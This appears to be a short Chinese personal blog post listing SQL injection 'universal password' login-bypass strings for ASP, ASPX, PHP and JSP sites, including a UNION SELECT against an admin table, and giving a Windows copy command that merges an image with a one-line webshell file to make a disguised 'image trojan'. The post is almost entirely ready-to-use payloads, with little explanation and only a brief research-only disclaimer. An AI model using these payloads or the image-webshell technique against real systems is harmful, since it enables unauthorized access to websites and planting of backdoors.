blubiu

My Love

上网不网恋,简直浪费电.


Web安全--万能密码大全+图片马合成方法


前言:

被遗忘的笔记。


目录:


万能密码大全:

asp、aspx、php、jsp万能密码大全。

asp、aspx 万能密码

"or "a"="a

')or('a'='a

or 1=1--

'or 1=1--

a'or' 1=1--

"or 1=1--

'or'a'='a

"or"="a'='a

'or''='

'or'='or'

1 or '1'='1'=1

1 or '1'='1' or 1=1

'OR 1=1%00

"or 1=1%00

'xor

PHP 万能密码:

'or 1=1/*

"' or '1'='1"

' or '1'='1

用户名 admin' or 'a'='a 密码随便

用户名 ' UNION Select 1,1,1 FROM admin Where ''=' 替换表名admin

密码 1

jsp 万能密码:

1'or'1'='1

admin' or 1=1/*

图片马合成方法:

准备好普通图片和一句话木马文件放在同目录

然后在 cmd 窗口中使用命令合成

copy a.jpg /b + b.txt /a c.jpg

a.jpg 为图片 , b.txt 为一句话 , c.jpg 为生成图片马。

如果要分离的话,可以使用 winhex 或者 binwalk

就相当于打 CTF 解隐写题一样 !!


总结

本文内容仅限用于安全研究,如有其他用途后果自负。